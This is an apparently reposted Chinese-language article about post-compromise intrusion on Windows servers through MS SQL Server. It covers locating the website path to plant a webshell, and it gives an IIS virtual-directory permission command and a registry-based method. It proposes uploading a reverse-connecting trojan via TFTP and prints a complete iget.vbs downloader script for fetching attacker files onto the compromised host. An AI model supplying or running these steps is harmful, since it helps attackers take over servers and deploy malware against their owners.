软件测试开发技术SQL Server取得网站路径的几种方法及比较

\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e browse’

给虚拟目录e加上浏览属性不错吧。给自己开虚拟服务。想那些网页目录路径，头都快破了。这下给自己一个天开眼了。那传WEBSHELL利用MS

SQL为我们的工作告了一段落了，接下来工作应该由你来了。

哈哈,方法不错哟,通过注册表来读,方便快捷!

优缺点分析：

优点当然是方便快捷了。缺点是只能察看默认的iis站点的路径，如果不再默认的站点那就无能为力了(我用regsnape跟踪过)，如果在2003下

那就是连默认的站点路径也不显示了!痛苦中

顺便说两句，

实际上除了找网站路径的方法外，还是有别的方法来继续入侵的，比如说通过tftp来上传反弹木马，或者是通过写一个iget.vbs来下载你想要的东东

iget.vbs代码如下：

－－－－－－－－－start－－－－－－－－－－

Set xPost = createObject("Microsoft.XMLHTTP")

xPost.Open "GET",LCase(WScript.Arguments(0)),0

xPost.Send()

Set sGet = createObject("ADODB.Stream")

sGet.Mode = 3

sGet.Type = 1

sGet.Open()

sGet.Write(xPost.responseBody)

sGet.SaveToFile LCase(WScript.Arguments(1)),2

－－－－－－－－－－end－－－－－－－－－－－

对此文的在补充

文章来源于领测软件测试网 https://www.ltesting.net/